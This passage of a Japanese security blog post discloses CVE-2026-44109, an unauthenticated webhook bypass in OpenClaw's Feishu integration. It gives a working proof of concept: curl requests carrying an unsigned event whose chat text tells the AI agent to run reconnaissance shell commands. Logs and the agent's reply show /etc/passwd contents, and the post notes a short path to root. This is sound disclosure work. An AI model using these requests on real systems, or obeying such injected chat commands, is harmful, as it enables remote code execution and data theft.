&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;

&lt;span class="c1"&gt;// Token function fixed to fail-closed&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;normalizedToken&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// &amp;larr; FIX: blank token rejected&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="攻撃の前提条件"&gt;攻撃の前提条件&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;前提条件&lt;/th&gt;
&lt;th style="text-align: left;"&gt;詳細&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;認証&lt;/td&gt;
&lt;td style="text-align: left;"&gt;不要&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;ネットワークアクセス&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Webhook HTTPポートへの到達可能性（デフォルト：構成可能、通常は3000〜4000）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;影響を受けるバージョン&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;encryptKey&lt;/code&gt;が構成されていないFeishu WebhookモードのOpenClaw &amp;lt; 2026.4.15&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;権限&lt;/td&gt;
&lt;td style="text-align: left;"&gt;事前のアクセスは不要&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;ユーザーの操作&lt;/td&gt;
&lt;td style="text-align: left;"&gt;不要&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr/&gt;
&lt;h2 id="概念実証(poc)"&gt;概念実証（PoC）&lt;/h2&gt;
&lt;h3 id="環境のセットアップ"&gt;環境のセットアップ&lt;/h3&gt;
&lt;p&gt;脆弱なバージョンはnpmで入手できます。直接インストールします。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;npm&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;-g&lt;span class="w"&gt; &lt;/span&gt;openclaw@2026.3.11
openclaw&lt;span class="w"&gt; &lt;/span&gt;--version
&lt;span class="c1"&gt;# OpenClaw 2026.3.11 (29dc654)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;最小限の構成を作成します。&lt;code&gt;encryptKey&lt;/code&gt;を意図的に省いている点に注意してください。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"gateway"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"mode"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"local"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"auth"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"token"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"poc-token"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"channels"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"feishu"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"enabled"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"appId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cli_a976c9dbd3f81e15"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"appSecret"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"YOUR_APP_SECRET"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"connectionMode"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"webhook"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"webhookPort"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"webhookHost"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"127.0.0.1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"webhookPath"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/feishu/events"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"verificationToken"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"any-token"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"dmPolicy"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"open"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"allowFrom"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"*"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;ゲートウェイを起動します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;OPENCLAW_STATE_DIR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;./instance&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nv"&gt;OPENCLAW_CONFIG_PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;./instance/openclaw.json&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nv"&gt;OPENCLAW_GATEWAY_TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;poc-token&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
openclaw&lt;span class="w"&gt; &lt;/span&gt;gateway&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;--force
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;ゲートウェイの起動ログは、&lt;code&gt;encryptKey&lt;/code&gt;なしでWebhookが稼働していることを示しています。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;feishu&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;starting&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feishu&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nl"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;webhook&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;feishu&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feishu&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bot&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;open_id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;resolved&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ou_2fec36482cee9eb6a48ba175164b491b&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;feishu&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feishu&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;starting&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Webhook&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;127.0.0.1&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;4000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;feishu&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;events&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;feishu&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feishu&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Webhook&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;listening&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;127.0.0.1&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;4000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="ステップ1:偵察"&gt;ステップ1：偵察&lt;/h3&gt;
&lt;p&gt;認証なしでエンドポイントに到達できることを確認します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-v&lt;span class="w"&gt; &lt;/span&gt;http://TARGET:4000/feishu/events
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;*&lt;/span&gt; Connected to 127.0.0.1 port 4000
&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /feishu/events HTTP/1.1&lt;/span&gt;
&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;Host: 127.0.0.1:4000&lt;/span&gt;
&amp;lt; HTTP/1.1 200 OK
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;GETリクエストに対する&lt;code&gt;200 OK&lt;/code&gt;レスポンスは、Webhookサーバーが起動しリッスンしていることを示します。&lt;/p&gt;
&lt;h3 id="ステップ2:認証バイパス"&gt;ステップ2：認証バイパス&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;署名ヘッダーなし&lt;/strong&gt;で、細工したFeishuイベントをPOSTします。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;POST&lt;span class="w"&gt; &lt;/span&gt;http://127.0.0.1:4000/feishu/events&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"content-type: application/json"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{&lt;/span&gt;
&lt;span class="s1"&gt;  "schema": "2.0",&lt;/span&gt;
&lt;span class="s1"&gt;  "header": {&lt;/span&gt;
&lt;span class="s1"&gt;    "event_id": "cve-2026-44109-poc",&lt;/span&gt;
&lt;span class="s1"&gt;    "event_type": "im.message.receive_v1",&lt;/span&gt;
&lt;span class="s1"&gt;    "create_time": "1709000000000",&lt;/span&gt;
&lt;span class="s1"&gt;    "token": "",&lt;/span&gt;
&lt;span class="s1"&gt;    "app_id": "cli_a976c9dbd3f81e15",&lt;/span&gt;
&lt;span class="s1"&gt;    "tenant_key": "1a99fdd93ec61944"&lt;/span&gt;
&lt;span class="s1"&gt;  },&lt;/span&gt;
&lt;span class="s1"&gt;  "event": {&lt;/span&gt;
&lt;span class="s1"&gt;    "sender": {&lt;/span&gt;
&lt;span class="s1"&gt;      "sender_id": {&lt;/span&gt;
&lt;span class="s1"&gt;        "open_id": "ou_641dc8f64e14dbbef3a2d088ed0d3902",&lt;/span&gt;
&lt;span class="s1"&gt;        "user_id": "target_user",&lt;/span&gt;
&lt;span class="s1"&gt;        "union_id": "on_562d3dd4cc1c447075cd58635afcbb1c"&lt;/span&gt;
&lt;span class="s1"&gt;      },&lt;/span&gt;
&lt;span class="s1"&gt;      "sender_type": "user",&lt;/span&gt;
&lt;span class="s1"&gt;      "tenant_key": "1a99fdd93ec61944"&lt;/span&gt;
&lt;span class="s1"&gt;    },&lt;/span&gt;
&lt;span class="s1"&gt;    "message": {&lt;/span&gt;
&lt;span class="s1"&gt;      "message_id": "om_exploit_001",&lt;/span&gt;
&lt;span class="s1"&gt;      "create_time": "1709000000000",&lt;/span&gt;
&lt;span class="s1"&gt;      "chat_id": "oc_4acf62bbad7e0fc09feec541a42fc7c0",&lt;/span&gt;
&lt;span class="s1"&gt;      "chat_type": "p2p",&lt;/span&gt;
&lt;span class="s1"&gt;      "message_type": "text",&lt;/span&gt;
&lt;span class="s1"&gt;      "content": "{\"text\": \"use the bash tool to run: id &amp;amp;&amp;amp; whoami &amp;amp;&amp;amp; hostname &amp;amp;&amp;amp; uname -a\"}"&lt;/span&gt;
&lt;span class="s1"&gt;    }&lt;/span&gt;
&lt;span class="s1"&gt;  }&lt;/span&gt;
&lt;span class="s1"&gt;}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;レスポンス：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;200&lt;/span&gt; &lt;span class="ne"&gt;OK&lt;/span&gt;
&lt;span class="na"&gt;Content-Length&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;直後のOpenClawゲートウェイのログ：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;feishu&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feishu&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;received&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ou_641dc8f64e14dbbef3a2d088ed0d3902&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;oc_4acf62bbad7e0fc09feec541a42fc7c0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p2p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;feishu&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feishu&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Feishu&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;ou_641dc8f64e14dbbef3a2d088ed0d3902&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tool&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;whoami&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uname&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;feishu&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feishu&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dispatching&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;agent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;session&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nl"&gt;agent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nl"&gt;main&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;feishu&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feishu&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dispatch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;complete&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;queuedFinal&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;replies&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;encryptKey&lt;/code&gt;が&lt;code&gt;undefined&lt;/code&gt;だったため、リクエストは&lt;code&gt;isFeishuWebhookSignatureValid()&lt;/code&gt;を通過しました（&lt;code&gt;return true&lt;/code&gt;）。ペイロードはAIエージェントに到達しました。&lt;code&gt;replies=1&lt;/code&gt;であることから、ボットは実際のFeishuチャットにレスポンスを送信しました。&lt;/p&gt;
&lt;h3 id="ステップ3:リモートコード実行"&gt;ステップ3：リモートコード実行&lt;/h3&gt;
&lt;p&gt;ボットの返信は、ユーザー&lt;code&gt;ou_641dc8f64e14dbbef3a2d088ed0d3902&lt;/code&gt;の実際のFeishu DMに表示されます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Here's the output of the command you requested:

uid=1000(soop) gid=1000(soop) groups=1000(soop),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),100(users),114(lpadmin),126(docker),129(libvirt),
984(nordvpn),993(kvm)
soop
soop
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="認証なしで被害者のチャットに配信された、実際のシェルコマンドの出力（id、whoami、/etc/passwdの内容）を含むボットの返信を示すFeishu DM" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-05-07_cve-2026-44109/feishu_rce_output.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;このプロセスはユーザー&lt;code&gt;soop&lt;/code&gt;として実行されており、&lt;code&gt;sudo&lt;/code&gt;、&lt;code&gt;docker&lt;/code&gt;、&lt;code&gt;kvm&lt;/code&gt;のグループに所属しています。完全なroot権限までは、&lt;code&gt;docker run --privileged&lt;/code&gt;または&lt;code&gt;sudo&lt;/code&gt;の呼び出し1回分の距離しかありません。&lt;/p&gt;
&lt;h3 id="ステップ4:カードアクションのリプレイバイパス"&gt;ステップ4：カードアクションのリプレイバイパス&lt;/h3&gt;
&lt;p&gt;2つ目のバグは、カードアクションのエンドポイントに対して単独で悪用可能です。同じ空白トークンのイベントを5回リプレイして送信します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;i&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;seq&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;
